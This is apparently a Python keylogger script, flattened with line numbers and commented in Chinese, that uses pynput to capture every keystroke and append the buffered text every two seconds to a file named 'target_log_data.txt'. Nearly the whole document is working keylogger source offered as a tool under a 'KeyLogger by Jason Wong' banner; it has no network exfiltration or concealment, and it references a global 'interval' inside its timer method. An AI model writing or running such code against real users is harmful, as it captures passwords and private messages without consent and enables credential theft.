1 from pynput.keyboard import Key,Listener 2 import threading 3 import sys 4 5 6 class KeyLogger: 7 def __init__(self, interval, filename) -> None: 8 self.interval = interval #周期性將鍵盤記錄寫入文件,interval定義時間間隔 9 self.filename = filename #文件來寫入鍵盤記錄 10 self.key_text = '' #用來存儲鍵盤敲鍵 11 print('Begin to log keystrokes...') 12 13 def key_handler(self,k): 14 try: 15 k = k.char #對于非特殊字符,那么具有char屬性,如果捕捉到異常,表明為特殊字符 16 self.key_text = self.key_text + k 17 18 except AttributeError: 19 if k==Key.backspace: 20 self.key_text = self.key_text + ' ' 21 elif k== Key.enter: 22 self.key_text = self.key_text + '\r\n' 23 else: 24 self.key_text = self.key_text + ' ' 25 26 def write_file_timer(self): 27 28 with open(self.filename,'a+') as f: 29 f.write(self.key_text) 30 self.key_text = '' #每次將self.key_text的鍵盤記錄寫入文件后,該變量中的數(shù)據(jù)清空用來記錄新的敲鍵 31 timer = threading.Timer(interval, self.write_file_timer) 32 timer.start() 33 34 def run(self): 35 with Listener(on_press=self.key_handler) as keyer: 36 self.write_file_timer() 37 keyer.join() 38 39 40 if __name__ == '__main__': 41 banner = ''' 42 ******************************************** 43 44 ***************KeyLogger by Jason Wong****** 45 46 ******************************************** 47 ''' 48 print(banner) 49 try: 50 interval = 2 51 filename = 'target_log_data.txt' 52 keylogger = KeyLogger(interval=interval, filename=filename) 53 keylogger.run() 54 except KeyboardInterrupt: 55 print('Exit the program now!') 56 sys.exit(0) |
|